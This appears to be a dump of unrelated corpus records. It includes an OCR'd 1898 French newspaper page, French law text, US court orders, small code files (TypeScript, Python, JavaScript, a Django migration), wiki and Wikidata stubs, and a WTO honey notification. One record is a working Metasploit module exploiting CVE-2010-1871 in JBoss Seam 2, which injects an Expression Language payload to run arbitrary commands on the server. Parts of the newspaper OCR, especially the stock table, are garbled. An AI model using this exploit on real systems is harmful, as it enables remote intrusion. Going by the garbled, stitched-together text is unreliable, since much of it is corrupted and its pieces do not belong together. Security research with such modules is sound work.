Groussc et Baron, dit qu'il laissera de côté celle qui vise la mobilisation de l'escadre du Nord. C'est un exercice prévu par les règlements et qui n'a aucune portée politique. LA POLITIQUE DE LA FRANC£ EU E6YPTE En Egypte, nous maintenons avec modération dans la forme, avec une fermeté intransijreantG sur le fond, nos droits et nos privilèges. Lcs fonctions qui appartiennent aux Français ont toujoura, on cas de vacance, été dévolues à des Français. Le maintien et le fonctionnement des Tribunaux mixtes n'ont subi aucune atteinte. En Grèce, nous avons, par un accord intime entre la France, l'Angleterre et la Russie, assuré le succès d'un emprunt garanti par ces trois puissances et qui servira à payer l'indemnité de guerre d où dépend l'évacuation de la Cet accord est la marque de l'entente cordiale qui existe entre les trois grandes nations protectrices de la Grèce. Le gouvernement soumettra, avant la fin de la législature, au Parlement, les actes diplomatiques rclatifs à cet accord. En Crúte, h situation s'améliore de jour en Jour. Les progrès de l'autonomie se développent sous la direction des amiraux. Si l'Alk:magne et l'Autriche ont jugé qu'elles n'avaient pas là des intérêts suffisants pour maintenir leurs contingents militaires, ces deux puissances n'en secondent pas moins les efforts des puissances protectrices de la Grèce. Mais la situation ne sera définitive que quand toutes les difficultés entre la Grèce et la Turquie seront réglées. LA QUESTION Dit MISER Dans l'Afrique occidentale, les questions relatives au Niger sont soumises à l'examen des deux puissances. Une solution amicale est imminente; de part et d'autre, les difficultés sont examinées avec un esprit absolu de conciliation et de concorde. En Chine, ajoute 11. mon il n'est pas douteux ijue les atteintes portées a l'intégrité de ee grand empire pourraieat devenir le point de départ de cuttitit rouîtes la France n'a pas pris initiative cie modifications au atatu quo, mais, invoquant les conventions antérieures, elle a réclamé de la Chine des avantages analogues à teux que la Russie, l'Allemagne et l'Angfeterre ont obtenus, et qui doivent assurer la sécurité de nos possessions indo-chinoises. Les pourparlers so poursuivront à Paris et à anitit. Il. Manotaux dit qu'à Cuba le srouvernement français a préseuté au gouvernement espagnol de nombreuses réclamations relatives aux dommages subis par des citoyens français. L'Espagne y a fait droit avec une bonne volonté absolue. De son côté, le gouvernement français a fait tenir à notre consul des sommes importantes pour venir en alde à nos nationaux. Il déclare que le monde entier suit avec intérêt les péripéties de la lutte engagée dans l'île, et que la Chambre connaît les sentiments d'estime et de respect que le gouvernement a pour les deux grandes nations, en France. L'orateur, dans un langage applaudi par presque toute la Chambre, rappelle les nobles qualités, le patriotisme, l'héroïsme du peuple espagnol, qu'uuisstmt a la i-rancu toutes FONDS D'ÉTATS ET hues VUEURS tnwHÊHB VALEURS ÉTRANGÈRES wuqwiiiiis masts SSl'ffir oiiimtiws mina §XM««S ISS jKgïï, T^ilS &n. «mi .»» ..«• » V$£.iSà£tiw j» ;j g •».. ~j«"j» » m"« » SsîSBSSSSSfîaifa) «S '̃' j w £ r" i» '̃ "5 Sa S Si^ffifS' « i! ""SISS?^1 S:: j;; *;i* = SslsS: fl:: .fTg" £:: l^I£fS: SS il? :? Banque de France 353t 35W canal de Suez cia'mw 3«o Qiaussuws franeiSoc. g" d««, U3 ̃̃ i« ̃ Sued« o,-o *̃ •̃ *m txpotitton tm»t*Uito) t 175 National d'Escompte. MB 9W Bons Trentenaires !3i Argentin 1886 S0 m |i » 188S 3S m Votireî Vrbainm m M> «^f^KSU^sS:: m S,* o^JLt §* *STJgîLSii": I50 W 30 S^S^'ir S:: • «BttSSta, »» roncier de France Société centrale de Br/iamite.. 4© «» ̃ • «g W i'tsmiliteires m ̃ «2 Bf-Uuanaland £ 56 I "dl4il! S:: 8 S«S* "̃ ^z :^»2te:îS: îS E«îPte^a^ SS g«^^Ç^s^"S t^ i:: z •«Sâr1: & ÎS.. !â« SES?. JJï.feftesdi:: « les marnons ae race, les omîmes a origine commune, les nelutions constantes de bon voisinage, les mêmes intérêts économiques; il salue la grande République américaine, sœur de la République française et sa Mêle alliée. Dans ce débat, dit-il, où tant de questions d'intérêts et (1 honneur sont engagée, fa France a le uésir de voir écarté par tous un conflit redoutable si les deux partis recherchant des amis «ûw et icnpartiaux en vue d'un arrangement amiable. la bonne volonté de la Francc ne leur fera pas défaut. Cette déclaration est couverte par d'unanimes applaudissements. M. Lucien Hubert demande au Ministre des Affiiires étrangères quelques explications sur l'emploi des balles dum-uum. M. Hanotaux répond que le gouvernement a demandé des renseignements. La clôture est prononcée. Divers ordres du jour sont présentés. M. Méllne, président du Conseil, dit que le gouvernement n'accepte que l'ordre du jour de MM. Decrais et Deloncle, ainsi conçu La Chambre, approuvant les déclarations du gouvernement, passe à Tordre du jour. M. Gobl«t dit qu'il ne votera pas cet ordre du jour cause du silence du gouvernement surla candidature du prince Georges de Grèce au poste de gouverneur de la Crète. L ordre du jour de confiance est adopté par 300 voix contre I I I. M. Vallé demande ensuite que la Chambre décide de discuter mercredi les conclusions du rapport de la Commission d'euquète sur le Panama. M. Méiin«, président dn Conseil, pense que la Chambre a à discuter des lois plus urgentes. La discussion sur le Panama sera probablement longue et on se verrait forcé de renoncer à celle des projet» qui réalisent des réformes urgentes et souvent réclamées par la Chambre et le pays. La discussion du rapport sur le Panama fixée i mercredi est mise aux voix et adoptée par 244 voix contre 236. La séance est renvoyée à lundi et levée à six heures. Dépêches de l'Étranger COLLISION SUR L'ESCAUT Bruxelles, 26 mars. Une collision s'est produite sur l'E'scaut devant Anvers. Un bateau chargé de sable a abordé le navire en fer Saint-Joseph, de Rosenrtael. Le bateau a sombté. Le sauvetage de réquipage a été de» plus émouvants. OXFORD-CAMBRIDGE Londres, °6 mars. La course sur la Tmnise des Universités d'Oxford el de Cambridge a eu lien aujourd'hui. L'Université d'Oxford a gagné de douze 100gueurs, au milieu d'une bourrasque de neige fondue. SU CRÈT1 Saint,Péter,,bourg, 26 mars. Le correspondant des Pétentmimskaia Veéomo.vri. télégraphie que, hier, Rethymno, des Grecs qui se disputaient du bétail en snnt venus aux mains. Trente hommes ont été tués. ÉCHOS ET NOUVELLES L'Académie des seiences morales et politiques a nommé, hier, membre titulairedans la section de morale, en remplacement de M. Bardoux, député, M. Boutmy, directeur de l'Ecole des scieaaces morales, par 20 voix contre 8 accordées M. Louis Legrand, conseiller d'Etat, et 2 bulletins blancs. La dernière des quatre fêtes offertes par la municipalité àla population parisienne a eu lieu, hier soir, h l'Hôtel de Ville. L'afnuence était peut-être encore plus considérable qu'aux soirées précédentes. Une invitation ayant été adressée par le bureau du Conseil municipal à Mlle Maria Bourdillon,la reine de la Mi-Careme, la charmante souveraine est venue passer quelques instants dans le palais municipal au mflien de ses sujets d'hier. Elle a été d'ailleurs royalement reçue et fêtée. Au moment où nous quittons l'Hôtel de Ville, la plus vive animation règne dans les salons. Le plus petit conscrit de France appartient, cette année, à l'arrondissement de Tarbes. Il mesure à peine 1 m. Malgré cette exiguïQ de taille, sa conformation est normale. Ce jeune homme, fils d'un assez riche propriétaire de Gardère, dans le canton d'Ossun, se fait en outre remarquer par une vive intelligence. Affiches électriques. Naturellement, c'est de l'autre bord de l'Atlantique que nous arrive l'échu de cette invention essentiellement « nouveau jeu •«̃ On vient d'élever à NewYork, au centre de Mariison Square, une gigantesque affiche de vingt mètres de haut sur vingt-quatre de large. Elle est composée de U5 lettres de deux mètres chacune, formées par 1,500 lampes électriques polychromes. 11 faut une torce de cent soixante chevaux pour donner à la nouvelle affiche tout son éclat. Le courant est fourni par la Compagnie Edison au prix doux de de 1 fr. 25 la minute. Vous entendez bien plus de deux centimes par seconde Cette affiche électrique, absolument unique au monde, est non seutement la plus grande mais aussi la plus coûteuse qui ait jamais été faite,même aux Etats-Unis où la science de la réclame est si perfectionnée. L'industriel qui l'a commandée ra, en effet, payée 3ï,uuo francs. Plus j5 francs par heure pour l'éclairage. Voilà de la publicité qui revient un peu cher. Boireau se trouvait jeudi aux abords de l'Institütpour voir quelque chose de la réception de M. Hanotaux. Comment sécrie-t-ii stupéfait, ce sont les gardes municipaux et les troupes de ligne qui font le service d'honneur Et comme un de ses voisins le regardait, ahuri, Boireau précisa A quoi servent alors les officiers d'Academie ? t LES TRIBUNAUX M. ZOLA ET LES EXPERTS C'est le 21 avril prochain que viendra devant la Cour d'appel de Paris le procès Zula contre les trois experts MM. &lhomme, Varinard et Couard. On sait que ces messieurs ont intenté devant le Tribunal correctionnel de la Seine une action en diffamation, réclamant chacun une somme de 100,000 francs à titre de dommages et intérêts. Le procès vint récemment devant la neuvième chambre qui malgré les conclusions déposas par MM" Labori et Clemenceau, se déclara comC'est pour faire annuler ce jugement que MM. ZolaetPerrenx.gérant du journal l'durore, formèrent appel. Les débats seront présidés par M. Fe-uilloiey. M. le conseiller Charrault a été chargé du rapport et le siège du ministère public sera occupé par M. Boutet, avocat général. LA TEMPÉRATURE IHmaxche g! mon, ee* jettr de r année, f jour av printemp8. de ta lune à 7 A. tl, coucher minuit. Quei épouvantable temps nous avons eu hier, à Paris La neige n'a pas cessé de tomber et, comme elle fondait des qu'elle touchait le sol, les chaussées étaient converties en véritables marécages. Coquin de printemps! La situation reste très troublée sur nos régions le ltaromètre s'est encore abaissé sur le nord de la France et les Pays-Bas et le minimum 1U m/m se trouve entre Paris et Nancy. Une dépression très profonde couvre toute la Franc* et s'étend jusqu'à r Adriatique. Les fortes pressions persistent d'ailleurs dans l'extrême nord (Kuopto, 782 m/m). Une tempûte de nord-est avec mer furieuse sévit sur les eûtes de la Manche en Bretagne le vent est très fort du nord: Il est faible et la mer belle sur le littoral de la Provence. On signale des pluies sur les Pan-Bas en France, des neiges et des pluies sont tombées dans le nord, l'est et sud-ouest; on a recueilli m/m d'eau à Nancy, 11 à Paris, 5 à Lorient, 1 il Bordeaux. La température se relève dans l'ouest de la France, elle était hier matin, de à Kuopio, 8 à Moscou, 0 à Paris. à Athènes. On notait 8* au Puy-de-Dôme, -il au Ventoux, 17 au Pic-du-Midi. En France, des pluies et des neiges sont probables avec temps froid. | 44,558 |
8597ca0a55df2fe00bce1da204039b0c | French Open Data | Open Government | Licence ouverte | 2,011 | Code de la sécurité sociale., article L162-17 | LEGI | French | Spoken | 288 | 415 | Les médicaments spécialisés, mentionnés à l'article L. 601 du code de la santé publique et les médicaments bénéficiant d'une autorisation d'importation parallèle en application de l'article L. 5124-13 du même code, ne peuvent être pris en charge ou donner lieu à remboursement par les caisses d'assurance maladie, lorsqu'ils sont dispensés en officine, que s'ils figurent sur une liste établie dans les conditions fixées par décret en Conseil d'Etat. La demande d'inscription d'un médicament sur cette liste est subordonnée à la réalisation d'essais cliniques contre des stratégies thérapeutiques, lorsqu'elles existent, dans des conditions définies par décret en Conseil d'Etat. La liste précise les seules indications thérapeutiques ouvrant droit à la prise en charge ou au remboursement des médicaments. Les médicaments inscrits sur la liste prévue à l'article L. 5126-4 du code de la santé publique sont pris en charge ou donnent lieu à remboursement par l'assurance maladie lorsqu'ils sont délivrés par une pharmacie à usage intérieur d'un établissement de santé dûment autorisée. Cette liste précise les seules indications thérapeutiques ouvrant droit à la prise en charge ou au remboursement des médicaments. L'inscription d'un médicament sur les listes mentionnées aux premier et deuxième alinéas peut, au vu des exigences de qualité et de sécurité des soins mettant en oeuvre ce médicament, énoncées le cas échéant par la commission prévue à l'article L. 5123-3 du code de la santé publique, être assortie de conditions concernant la qualification ou la compétence des prescripteurs, l'environnement technique ou l'organisation de ces soins et d'un dispositif de suivi des patients traités. En ce qui concerne les médicaments officinaux et les préparations magistrales, un décret en Conseil d'Etat détermine les règles selon lesquelles certaines catégories de ces médicaments peuvent être exclues du remboursement par arrêté interministériel. | 37,747 |
6266153_1 | Court Listener | Open Government | Public Domain | null | None | None | Unknown | Unknown | 77 | 109 | *112
ORDER
PER CURIAM.
Based upon our disposition in Commonwealth v. Williams, 557 Pa. 285, 733 A.2d 593 (1999), we affirm the Order of the Lancaster County Court of Common Pleas dated September 10, 1998, insofar as it is consistent with our disposition in Williams and we reverse its order insofar as it is inconsistent with the same. Furthermore, we remand the matter to the common pleas court for disposition of any remaining issues.
Jurisdiction is relinquished.
| 45,200 |
https://github.com/marcinmilewicz/akita/blob/master/libs/akita-ng-forms-manager/src/lib/forms-manager.store.ts | Github Open Source | Open Source | Apache-2.0 | 2,022 | akita | marcinmilewicz | TypeScript | Code | 23 | 69 | import { Store, StoreConfig } from '@datorama/akita';
@StoreConfig({
name: 'formsManager'
})
export class FormsStore<T> extends Store<T> {
constructor(state: T) {
super(state);
}
}
| 28,329 |
https://github.com/cbgabriel/metasploit-framework/blob/master/modules/auxiliary/admin/http/jboss_seam_exec.rb | Github Open Source | Open Source | OpenSSL, Unlicense | 2,015 | metasploit-framework | cbgabriel | Ruby | Code | 328 | 1,126 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss Seam 2 Remote Command Execution',
'Description' => %q{
JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform
4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
Language (EL) expressions, which allows remote attackers to execute arbitrary code
via a crafted URL.
NOTE: this is only a vulnerability when the Java Security Manager is not properly
configured.
},
'Author' => [ 'guerrino di massa' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-1871' ],
[ 'OSVDB', '66881']
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 19 2010'))
register_options(
[
Opt::RPORT(8080),
OptString.new('JBOSS_ROOT',[ true, 'JBoss root directory', '/']),
OptString.new('CMD', [ true, "The command to execute."])
], self.class)
end
def run
jbr = datastore['JBOSS_ROOT']
cmd_enc = ""
cmd_enc << Rex::Text.uri_encode(datastore["CMD"])
flag_found_one = 0
flag_found_two = 0
uri_part_1 = "seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
uri_part_2 = "].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
uri_part_3 = "].invoke(null),'"
print_status("Finding getDeclaredMethods() indexes... (0 to 24)")
25.times do |index|
req = jbr + uri_part_1 + index.to_s + "]}"
res = send_request_cgi(
{
'uri' => req,
'method' => 'GET',
}, 20)
if (res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29))
flag_found_one = index
print_status("Found right index at [" + index.to_s + "]")
elsif (res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime))
print_status("Found right index at [" + index.to_s + "]")
flag_found_two = index
else
print_status("Index [" + index.to_s + "]")
end
end
if (flag_found_one > 0 && flag_found_two > 0 )
print_status("Target appears VULNERABLE!")
print_status("Sending remote command:" + datastore["CMD"])
req = jbr + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}"
res = send_request_cgi(
{
'uri' => req,
'method' => 'GET',
}, 20)
if (res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess))
print_status("Exploited successfully")
else
print_status("Exploit failed.")
end
else
print_error("Target appears not vulnerable!")
end
end
end
| 4,826 |
https://www.wikidata.org/wiki/Q128511333 | Wikidata | Semantic data | CC0 | null | Aerin | None | Multilingual | Semantic data | 34 | 110 | Аэрин
диетический витаминизированный кисломолочный напиток с плодово-ягодными наполнителями из СССР
Aerin
dietary vitaminized fermented milk drink with fruit and berry fillers from the USSR
Аерін
дієтичний вітамінізований кисломолочний напій з плодово-ягідними наповнювачами з СРСР | 40,602 |
https://github.com/sanine-a/dream-atlas/blob/master/language.py | Github Open Source | Open Source | MIT | null | dream-atlas | sanine-a | Python | Code | 748 | 2,585 | from random import random, choice, seed, shuffle, randint
from math import ceil
import copy
target = [ 2, 2, 3, 1, 4, 5 ]
consonants_base = [ 'p', 't', 'k', 'm', 'n' ]
vowels = [ [ 'a', 'i', 'u' ],
[ 'a', 'i', 'u', 'e', 'o' ],
[ 'a', 'A', 'i', 'I', 'u', 'U', 'e', 'E', 'o', 'O' ] ]
consonants_extra = [ 'b', 'd', 'j', 's', 'z', 'y', 'q', 'G', '?', 'N', 'r', 'f', 'v', 'T', 'D', 'S', 'Z', 'x', 'h', 'w', 'l', 'C' ]
sibilants = [ ['s',], [ 's', 'S' ], ['s', 'S', 'f'] ]
liquids = [ ['r'], ['l'], ['r','l'], ['w','y'], ['r','l','w','y'] ]
orthography1 = { 'name':'nordic', 'j':'dz', 'y':'j', 'T':'th', 'D':'ð', 'S':'sh', 'Z':'zh', 'N':'ng', '?':"'", 'G':'q', 'C':'ch', 'A':'å', 'E':'ë', 'I':'ï', 'O':'ö', 'U':'ü' }
orthography2 = { 'name':'czech', 'T':'th', 'D':'th', 'S':'š', 'Z':'ž', 'C':'č', 'G':'q', 'N':'ng', '?':'-', 'A':'á', 'E':'ě', 'I':'ý', 'O':'ó', 'U':'ú' }
orthography3 = { 'name':'french', 'T':'th', 'D':'th', 'S':'ch', 'G':'gh', 'C':'tc', '?':"'", 'N':'ng', 'Z':'z', 'k':'c', 'A':'â', 'E':'ê', 'I':'î', 'O':'ô', 'U':'û' }
orthography4 = { 'name':'mexica', 'k':'c', 'G':'gh', 'N':'ng', 'T':'th', 'D':'th', 'S':'x', 'C':'ch', '?':"'", 'Z':'zh', 'A':'á', 'E':'é', 'I':'í', 'O':'ó', 'U':'ú' }
orthographies = ( orthography1, orthography2, orthography3, orthography4 )
syllables = ( [ 'CV', ],
[ 'CV', 'V' ],
[ 'CV', 'CVC' ],
[ 'CV', 'CVC', 'V' ],
[ 'CVC', ],
[ 'CVC', 'CRVC', 'CV', 'CRV' ],
[ 'CVC', 'CRVC', 'CVRC', 'CV', 'CRV' ], [ 'CVC', 'CRVC', 'CVCC', 'CRVCC', 'CV', 'CRV' ],
[ 'CVC', 'CRVC', 'CVRC', 'CVCC', 'CRVCC', 'CV', 'CRV' ],
[ 'CV', 'CVC', 'SCV', 'SCVC' ],
[ 'CVC', 'CVCC', 'SVC', 'SVCC', 'CV', 'SCV' ],
[ 'CVC', 'CVCC', 'CRVC', 'SCVC', 'SCRVC', 'CV', 'CRV', 'SCV', 'SCRV' ] )
government = [ 'Republic of ', 'Kingdom of ', 'Confederacy of ', 'Satrapy of ','Empire of ' ]
class morpheme:
def __init__(self,morpheme,prefix):
self.morpheme = morpheme
self.prefix = prefix
def elem(obj, items):
for item in items:
if item == obj:
return True
return False
def biased_choice(items, bias=2):
i = int( random()**bias * len(items) )
return items[i]
class language:
def __init__(self):
# get phonemes
self.phonemes = {}
self.phonemes['V'] = choice(vowels)
shuffle(self.phonemes['V'])
self.phonemes['R'] = choice(liquids)
self.phonemes['S'] = choice(sibilants)
more_consonants = []
for i in range(0, int(random()*len(consonants_extra))):
c = choice(consonants_extra)
if elem(c,more_consonants):
break
else:
more_consonants.append(c)
#shuffle(more_consonants)
self.phonemes['C'] = consonants_base + more_consonants
shuffle(self.phonemes['C'])
#get syllables, orthography, and word length
self.syllables = choice(syllables)
self.orthography = choice(orthographies)
self.orthography[';'] = '' # skip syllable separators
self.wordtarget = biased_choice(target,5)
# basic morphemes & words
if random() >= 0.3:
self.prefix = False
else:
self.prefix = True
self.the = self.syllable()
self.of = self.syllable()
self.landm = []
for i in range(randint(3,6)):
self.landm.append(self.shortword())
self.waterm = []
for i in range(randint(3,6)):
self.waterm.append(self.shortword())
self.citym = []
for i in range(randint(3,6)):
self.citym.append(self.shortword())
def derive(self):
derived = copy.deepcopy(self)
if random() > 0.7:
shuffle(derived.syllables)
lm = 0
wm = 0
cm = 0
the = False
of = False
if random() > 0.5:
for i in range(randint(1,4)):
c = choice(derived.phonemes['C'])
if not elem(c,consonants_base):
derived.phonemes['C'].remove(c)
if elem(c,derived.the):
the = True
if elem(c,derived.of):
of = True
for m in derived.landm:
if elem(c,m):
derived.landm.remove(m)
lm += 1
for m in derived.waterm:
if elem(c,m):
derived.waterm.remove(m)
wm += 1
for m in derived.citym:
if elem(c,m):
derived.citym.remove(m)
cm += 1
if random() > 0.5:
for i in range(randint(1,4)):
index = randint(5,len(derived.phonemes['C']))
derived.phonemes['C'].insert(index,choice(consonants_extra))
if the:
derived.the = derived.syllable()
if of:
derived.of = derived.syllable()
for i in range(lm):
derived.landm.append(derived.shortword())
for i in range(wm):
derived.waterm.append(derived.shortword())
for i in range(cm):
derived.citym.append(derived.shortword())
return derived
def orthographic(self,string):
outstring = ""
for c in string:
try:
outstring += self.orthography[c]
except KeyError:
outstring += c
return outstring
def syllable(self):
syl = ""
stype = biased_choice(self.syllables)
for letter in stype:
try:
syl = syl+biased_choice(self.phonemes[letter])
except KeyError:
break
return syl+';'
def word(self,short=False):
w = ""
N = randint(ceil(.5*self.wordtarget),ceil(1.5*self.wordtarget))
if short and N >= 2:
N -= 1
for i in range(N):
w = w+self.syllable()
return w
def shortword(self):
sw = ""
for i in range(randint(1,ceil(self.wordtarget))):
sw += self.syllable()
return sw
def gen_name(self,morph):
if random() < 0.1:
return self.word() + ' ' + self.of + ' ' + self.word()
if random() < 0.1:
if self.prefix:
return self.word() + ' ' + self.the
else:
return self.the + ' ' + self.word()
m = ''
if random() > 0.5:
m = choice(morph)
w = self.word(bool(m))
if self.prefix:
return m + w
else:
return w + m
def cityname(self):
return self.gen_name(self.citym)
def landname(self):
return self.gen_name(self.landm)
def watername(self):
return self.gen_name(self.waterm)
def countryname(self):
if random() > 0.7:
return choice(government) + self.orthographic(self.landname()).title()
else:
return self.orthographic(self.landname()).title()
'''
lang1 = language()
for j in range(10):
print('Language '+str(j+1))
for i in range(5):
word = lang1.cityname()
print(lang1.orthographic(word).title())
lang1 = lang1.derive()
print(' ')
'''
| 46,007 |
https://github.com/eleanxr/watersharingdashboard/blob/master/econ/migrations/0001_initial.py | Github Open Source | Open Source | Apache-2.0 | 2,016 | watersharingdashboard | eleanxr | Python | Code | 88 | 495 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
]
operations = [
migrations.CreateModel(
name='CropMix',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('name', models.CharField(max_length=80)),
('description', models.TextField(null=True)),
('state', models.CharField(max_length=2)),
('county', models.CharField(max_length=40)),
('source', models.CharField(max_length=20)),
],
),
migrations.CreateModel(
name='CropMixCommodity',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('commodity', models.CharField(max_length=80)),
('analysis', models.ForeignKey(to='econ.CropMix')),
],
),
migrations.CreateModel(
name='CropMixYear',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('year', models.IntegerField()),
('analysis', models.ForeignKey(to='econ.CropMix')),
],
),
migrations.CreateModel(
name='NASSApiKey',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('name', models.CharField(max_length=80)),
('key', models.CharField(max_length=80)),
('use_key', models.BooleanField(default=False)),
],
),
]
| 6,487 |
https://www.wikidata.org/wiki/Q16977703 | Wikidata | Semantic data | CC0 | null | Zutho | None | Multilingual | Semantic data | 19 | 49 | Zutho
alcoholic beverage of Naga origin
Zutho Freebase ID /m/03hnp_8
Zutho Commons category Zutho
Zutho topic's main category Category:Zutho | 26,051 |
https://ce.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%83%D1%80%D0%BB%D0%B0%D1%80%20%28%D0%98%D0%BD%D0%B5%D0%B3%D0%BE%D1%8C%D0%BB%29 | Wikipedia | Open Web | CC-By-SA | 2,023 | Конурлар (Инегоьл) | https://ce.wikipedia.org/w/index.php?title=Конурлар (Инегоьл)&action=history | Chechen | Spoken | 40 | 172 | Конурлар () — Туркойчоьнан Мармаран хӀордан регионан Бурса провинцин (ил) Инегоьлнан кӀоштара эвла/микрокӀошт ().
Географи
Истори
Бахархой
Билгалдахарш
Хьажоргаш
Бурса провинцин нах беха меттигаш
Бурса провинцин микрокӀошташ
Инегоьлнан микрокӀошташ
Инегоьлнан кӀоштан нах беха меттигаш
Туркойчоьнан микрокӀошташ
Туркойчоьнан нах беха меттигаш | 23,183 |
5672508_1 | Court Listener | Open Government | Public Domain | null | None | None | Unknown | Unknown | 220 | 330 | Judgment, Supreme Court, New York County (Lewis Stone, J.), rendered July 16, 2001, convicting defendant, after a jury trial, of criminal sale of a controlled substance in the third degree, and sentencing him, as a second felony offender, to a term of 572 to 11 years, unanimously affirmed.
Giving deference to the trial court’s ability to observe de*292meaner, we conclude that the court properly granted the People’s challenge for cause to a prospective juror (see People v Williams, 63 NY2d 882, 885 [1984]). Viewed as a whole, the panelist’s responses established that he was too biased against the police to serve as an impartial juror in a case turning on police credibility (see People v Shtilman, 278 AD2d 5 [2000], lv denied 96 NY2d 787 [2001]).
The court properly admitted evidence of an uncharged drug transaction that occurred immediately after the charged sale. This testimony tended to complete the narrative, and it was relevant to the contested issues of identity and acting in concert (see e.g. People v Garcia, 276 AD2d 270 [2000], lv denied 95 NY2d 963 [2000]). Furthermore, the evidence was rehable, and the limiting instructions included in the court’s final charge prevented any prejudice.
We perceive no basis for reducing the sentence.
We have considered and rejected defendant’s remaining claims. Concur—Buckley, P.J., Nardelli, Saxe and Marlow, JJ.
| 7,387 |
https://github.com/gurfinkel/codeSignal/blob/master/tournaments/biggerWord/biggerWord.js | Github Open Source | Open Source | MIT | 2,021 | codeSignal | gurfinkel | JavaScript | Code | 113 | 320 | function biggerWord(w) {
swap = function(w, i, j) {
if (i === j) {
return w;
}
return w.substr(0, i) + w.charAt(j) +
w.substr(i + 1, j - i - 1) + w.charAt(i) +
w.substr(j + 1);
}
var leftSwap = -1;
for (var i = w.length - 2; i >= 0; i--) {
if (w.charCodeAt(i) < w.charCodeAt(i + 1)) {
leftSwap = i;
break;
}
}
if (leftSwap === -1) {
return 'no answer';
}
var rightSwap = w.length - 1;
while (w.charCodeAt(leftSwap) >= w.charCodeAt(rightSwap)) {
rightSwap--;
}
w = swap(w, leftSwap++, rightSwap);
rightSwap = w.length - 1;
while (leftSwap < rightSwap) {
w = swap(w, leftSwap++, rightSwap--);
}
return w;
}
| 18,473 |
https://arz.wikipedia.org/wiki/%D8%A7%D9%8A%D8%B1%D9%88%D9%8A%D9%86%20%D8%A7%D9%89.%20%D9%83%D9%8A%D9%85%D9%8A%D9%84%D9%85%D8%A7%D9%86 | Wikipedia | Open Web | CC-By-SA | 2,023 | ايروين اى. كيميلمان | https://arz.wikipedia.org/w/index.php?title=ايروين اى. كيميلمان&action=history | Egyptian Arabic | Spoken | 54 | 179 | ايروين اى. كيميلمان كان سياسى من امريكا.
حياته
ايروين اى. كيميلمان من مواليد يوم 10 سبتمبر 1930, مات فى 12 سبتمبر 2014.
الدراسه
درس فى كلية هارفارد للقانون و جامعة روتجرز.
الحياه العمليه
سياسيا كان عضو فى الحزب الجمهورى.
اشتغل فى ترنتون, نيوجيرسى.
المناصب
عضو جمعيه نيوجيرسى العامه
لينكات برانيه
مصادر
سياسيين
سياسيين امريكان | 49,093 |
q_G_SPS_NIND82_1 | WTO | Open Government | Various open data | null | None | None | English | Spoken | 488 | 862 | G/SPS/N/IND/82
21 February 2014
(14-1094) Page: 1/2
Committee on Sanitary and Phytosanitary Measures Original: English
NOTIFICATION
1. Notifying Member: INDIA
If applicable, name of local government involved:
2. Agency responsible: Food Safety and Standards Authority of India, Ministry of Health
and Family Welfare, Government of India
3. Products covered (provide tariff item number(s) as specified in national
schedules deposited with the WTO; IC S numbers should be provided in
addition, where applicable): Honey
4. Regions or countries likely to be affected , to the extent relevant or practicable:
[X] All trading partners
[ ] Specific regions or countries:
5. Title of the notified document: Draft Food Safety and Standards (Contaminants,
Toxins and Residues) Amendment Regulation, 2013. Notification No. 1-12/Sci. Pan (Notification)/FSSAI-2012 dated 5 December 2012 Language(s): English and Hindi
Number of pages: 4
6. Description of content: Limits of antibiotics and other pharmacologically active
substances in honey have been proposed.
7. Objective and rationale: [X] food safety, [ ] animal health, [ ] plant protection,
[ ] protect humans from animal/plant pest or disease, [ ] protect territory from
other damage from pests.
8. Is there a relevant international st andard? If so, identify the standard:
[X] Codex Alimentarius Commission (e.g. title or serial number of Codex
standard or related text)
[ ] World Organization for Animal Health (OIE) (e.g. Terrestrial or Aquatic
Animal Health Code, chapter number)
[ ] International Plant Protection Convention (e.g. ISPM number)
[ ] None
Does this proposed regulation conform to the relevant international standard?
[X] Yes [ ] No
If no, describe, whenever possible, how and why it deviates from the
international standard:
9. Other relevant documents and language (s) in which these are available:
The Gazette of India Extraordinary Part III - Section 4 dated 5 December 2012
(available in English and Hindi) G/SPS/N/IND/82
- 2 -
10. Proposed date of adoption (dd/mm/yy) : Yet to be decided.
Proposed date of publication (dd/mm/yy) : Yet to be decided.
11. Proposed date of entry into force: [ ] Six months from date of publication ,
and/or (dd/mm/yy) : Will come into force on the date of final publication in the official
gazette.
[ ] Trade facilitating measure
12. Final date for comments: [X] Sixty days from the date of circulation of the
notification and/or (dd/mm/yy) : 22 April 2014
Agency or authority designated to hand le comments: [ ] National Notification
Authority, [X] National Enquiry Point. Address, fax number and e-mail address
(if available) of other body:
Shri P. Karthikeyan, Assistant, Director, SPS Enquiry Point, Food Safety and Standards
Authority of India (FSSAI), FDA Bhawan, Kotla Road, New Delhi-110002, India. Tel: +(011) 23237419; Fax: +(011) 23220994; E-mail: [email protected] ; Website:
http://www.fssai.gov.in/
13. Texts available from: [ ] National Notifi cation Authority, [X] National Enquiry
Point. Address, fax number and e-mail address (if available) of other body:
Website of the Food Safety and Standards Authority of India (FSSAI), Government of
India: http://www.fssai.gov.in/.
| 7,410 |
